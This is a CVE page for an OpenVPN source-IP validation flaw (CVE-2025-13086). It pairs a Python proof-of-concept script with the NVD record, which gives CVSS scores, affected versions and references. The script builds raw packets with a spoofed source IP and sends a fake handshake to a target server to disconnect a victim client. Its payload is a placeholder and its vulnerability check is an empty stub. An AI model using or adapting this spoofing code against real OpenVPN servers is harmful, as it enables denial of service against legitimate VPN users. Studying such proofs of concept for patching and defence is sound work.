CVE-2025-13086

# CVE-2025-13086 PoC - OpenVPN Source IP Validation Bypass # This PoC demonstrates the concept of IP spoofing attack against vulnerable OpenVPN versions # Note: This is for educational and authorized testing purposes only import socket import struct import time from datetime import datetime # OpenVPN protocol constants OPENVPN_PORT = 1194 OPENVPN_PROTO_UDP = 17 # IP Protocol number for UDP def create_openvpn_packet(source_ip, dest_ip, payload): """ Construct a raw UDP packet with specified source IP for IP spoofing """ # IP Header construction (20 bytes) version_ihl = (4 << 4) | 5 # IPv4, 20 byte header tos = 0 total_length = 20 + 8 + len(payload) # IP + UDP + payload identification = 0x1234 flags_fragment = 0x4000 # Don't fragment ttl = 64 protocol = 17 # UDP checksum = 0 src_addr = socket.inet_aton(source_ip) dst_addr = socket.inet_aton(dest_ip) ip_header = struct.pack('!BBHHHBBH4s4s', version_ihl, tos, total_length, identification, flags_fragment, ttl, protocol, checksum, src_addr, dst_addr) # UDP Header construction (8 bytes) src_port = 50689 dst_port = OPENVPN_PORT udp_length = 8 + len(payload) udp_checksum = 0 udp_header = struct.pack('!HHHH', src_port, dst_port, udp_length, udp_checksum) return ip_header + udp_header + payload def send_spoofed_openvpn_handshake(target_ip, victim_ip): """ Send a spoofed OpenVPN handshake packet from victim's IP address """ print(f"[*] Target OpenVPN Server: {target_ip}") print(f"[*] Spoofing source IP: {victim_ip}") print(f"[*] Timestamp: {datetime.now().isoformat()}") # Construct OpenVPN handshake message (simplified) # In real attack, this would be captured from legitimate handshake handshake_payload = b'\x00\x00\x00\x00' # Placeholder for actual handshake # Create raw packet with spoofed source IP packet = create_openvpn_packet(victim_ip, target_ip, handshake_payload) try: sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) sock.sendto(packet, (target_ip, OPENVPN_PORT)) print(f"[+] Spoofed packet sent successfully") print(f"[!] This may cause DoS for legitimate client at {victim_ip}") except PermissionError: print("[-] Raw socket creation requires root/administrator privileges") print("[-] This PoC requires elevated privileges to execute") except Exception as e: print(f"[-] Error: {e}") def check_vulnerability(target_ip): """ Check if target OpenVPN server is vulnerable """ print(f"[*] Checking OpenVPN server at {target_ip}") print(f"[*] Testing source IP validation...") # Actual implementation would involve sending packets and analyzing response pass if __name__ == "__main__": import sys if len(sys.argv) < 3: print("Usage: python cve-2025-13086-poc.py <target_ip> <victim_ip>") print("Example: python cve-2025-13086-poc.py 192.168.1.100 10.8.0.5") sys.exit(1) target = sys.argv[1] victim = sys.argv[2] send_spoofed_openvpn_handshake(target, victim)

{"cve": {"id": "CVE-2025-13086", "sourceIdentifier": "[email protected]", "published": "2025-12-03T20:16:24.353", "lastModified": "2026-01-30T18:38:13.833", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper validation of source IP addresses in OpenVPN version 2.6.0 through 2.6.15 and 2.7_alpha1 through 2.7_rc1 allows an attacker to open a session from a different IP address which did not initiate the connection resulting in a denial of service for the originating client"}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 4.6, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "UNREPORTED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-940"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openvpn:openvpn:*:*:*:*:community:*:*:*", "versionStartIncluding": "2.6.0", "versionEndExcluding": "2.6.16", "matchCriteriaId": "61429F75-3DE9-499D-B00B-407E476A7B0F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:openvpn:openvpn:2.7:alpha1:*:*:community:*:*:*", "matchCriteriaId": "474A2F74-9D40-437D-B71A-43A8A26C2A55"}, {"vulnerable": true, "criteria": "cpe:2.3:a:openvpn:openvpn:2.7:alpha2:*:*:community:*:*:*", "matchCriteriaId": "1F5B810E-3614-4332-9281-B2AA28BD9403"}, {"vulnerable": true, "criteria": "cpe:2.3:a:openvpn:openvpn:2.7:alpha3:*:*:community:*:*:*", "matchCriteriaId": "2A423301-191A-4578-B824-22024A225C1C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:openvpn:openvpn:2.7:beta1:*:*:community:*:*:*", "matchCriteriaId": "537BC1B1-7E25-48A0-9750-443E6774FD97"}, {"vulnerable": true, "criteria": "cpe:2.3:a:openvpn:openvpn:2.7:beta2:*:*:community:*:*:*", "matchCriteriaId": "387E2C7F-C16A-49FA-827B-642BA760320D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:openvpn:openvpn:2.7:beta3:*:*:community:*:*:*", "matchCriteriaId": "183C57B8-5F1E-44E8-8B8A-5FBCDB926F21"}, {"vulnerable": true, "criteria": "cpe:2.3:a:openvpn:openvpn:2.7:rc1:*:*:community:*:*:*", "matchCriteriaId": "113A4E81-FF15-4E70-8DE5-E82AA3FB1D79"}]}]}], "references": [{"url": "https://community.openvpn.net/Security%20Announcements/CVE-2025-13086", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mail-archive.com/[email protected]/msg00151.html", "source": "[email protected]", "tags": ["Mailing List", "Release Notes"]}, {"url": "https://www.mail-archive.com/[email protected]/msg00152.html", "source": "[email protected]", "tags": ["Mailing List", "Release Notes"]}]}}